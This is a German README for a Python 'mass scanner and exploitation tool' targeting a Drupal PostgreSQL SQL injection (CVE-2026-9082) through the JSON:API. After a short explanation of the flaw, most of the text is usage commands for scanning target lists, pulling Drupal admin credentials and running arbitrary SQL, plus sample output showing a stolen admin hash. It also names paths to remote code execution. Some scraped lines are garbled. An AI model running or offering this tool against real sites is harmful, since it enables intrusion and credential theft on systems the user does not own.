Scanner: CVE-2026-9082 Drupal PostgreSQL SQLi über JSON:API — Python-Scanner für nicht authentifizierte SQLi, die zu RCE führt (CISA KEV)
Nicht authentifizierte SQL-Injection im Drupal Core (PostgreSQL)
JSON:API-Filter-Array-Key-Injection durch Missbrauch von PDO-Platzhalternamen
CVE-2026-9082 ist eine hochkritische SQL-Injection-Schwachstelle im Drupal Core, die alle PostgreSQL-basierten Websites betrifft, die Drupal 8.0 bis 11.3.9 verwenden. Sie wurde am 2026-05-22 in den CISA-Katalog bekannter ausgenutzter Schwachstellen (KEV) aufgenommen — und wird aktiv in freier Wildbahn ausgenutzt.
| Schweregrad | CVSS | Authentifizierung erforderlich | Angriffsvektor |
|---|---|---|---|
| Kritisch | 9.8+ | Keine | HTTP (JSON:API) |
pg_exec() oder COPY ... PROGRAM| Status | Versionen |
|---|---|
| ❌ Anfällig | Drupal 8.0.0 → 11.3.9 (PostgreSQL-Backend) |
| ✅ Behoben | 11.3.10, 11.2.12, 10.6.9, 10.5.10 |
Der Fehler befindet sich in core/modules/pgsql/src/EntityQuery/Condition.php. Die Methode translateCondition() verwendet vom Benutzer kontrollierte Array-Keys aus den JSON:API-Filterparametern, um PDO-Platzhalternamen zu konstruieren. PDO parst nur [a-zA-Z0-9_] als Platzhalternamen, sodass jedes Suffix nach ) als wörtliches SQL in die Abfrage injiziert wird.
JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection
pg_sleep()pip (Python-Paketmanager)# Clone the repo
git clone https://github.com/ridhinva/CVE-2026-9082.git
cd CVE-2026-9082
# Install requirements
pip install requests
Das war's! Nur eine Abhängigkeit — requests.
python3 cve_2026_9082_scanner.py -u https://target.com --check
python3 cve_2026_9082_scanner.py -f targets.txt
targets.txt-Format:
https://target1.com
target2.com
192.168.1.100
python3 cve_2026_9082_scanner.py -u https://target.com --version
python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo
python3 cve_2026_9082_scanner.py -u https://target.com --admin
python3 cve_2026_9082_scanner.py -u https://target.com --tables
python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user"
python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt
python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080
# Increase sleep time for time-based detection (default: 5s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10
# Increase HTTP timeout for slow targets (default: 30s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60
| Flag | Beschreibung |
|---|---|
-u, --url | URL eines einzelnen Ziels |
-f, --file | Datei mit Zielen (eines pro Zeile) |
-o, --output | Scan-Ergebnisse in Datei speichern |
--check | Prüfen, ob das Ziel anfällig ist |
--version | PostgreSQL-Version extrahieren |
--dbinfo | DB-Benutzer und Datenbanknamen extrahieren |
--admin | Drupal-Admin-Zugangsdaten extrahieren (uid=1) |
--tables | Alle Datenbanktabellen auflisten |
--query | Benutzerdefinierte SQL-Extraktionsabfrage |
--threads | Threads für den Massen-Scan (Standard: 20) |
--timeout | HTTP-Request-Timeout (Standard: 30s) |
--delay | pg_sleep-Verzögerung für die Erkennung (Standard: 5s) |
--no-ssl-verify | TLS-Zertifikatsprüfung überspringen |
--proxy | HTTP-Proxy (z. B. http://127.0.0.1:8080) |
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-9082 - Drupal PostgreSQL SQLi ║
║ Mass Scanner + Exploitation Tool v1.0.0 ║
╚══════════════════════════════════════════════════════════════╝
CISA KEV: Added 2026-05-22 | Advisory: SA-CORE-2026-004
[*] Checking: https://vulnerable-drupal-site.com
[!!] VULNERABLE - https://vulnerable-drupal-site.com
Method: time-based (+5.2s)
Resource: node/article
[+] username: admin
[+] email: [email protected]
[+] pass_hash: $S$E8gJ8yJ8...hashed_password...
| Quelle | Link |
|---|---|
| Drupal-Advisory | SA-CORE-2026-004 |
| CISA KEV | CVE-2026-9082 |
| Patch-Commit | ea9524d9 |
| NVD-Eintrag | CVE-2026-9082 |
| Entdecker | Michael Maturi |
Dieses Tool dient ausschließlich autorisierten Sicherheitstests, Bildungszwecken und ethischer Forschung.
Unbefugter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Haftung und sind nicht für Missbrauch oder Schäden verantwortlich, die durch dieses Programm verursacht werden.
Ridhin V A (@ridhinva) — Bug-Bounty-Jäger & Sicherheitsforscher
Erstellt, weil CISA KEV sagt, dass es in freier Wildbahn ausgenutzt wird. Patchen Sie Ihre Drupal-Websites.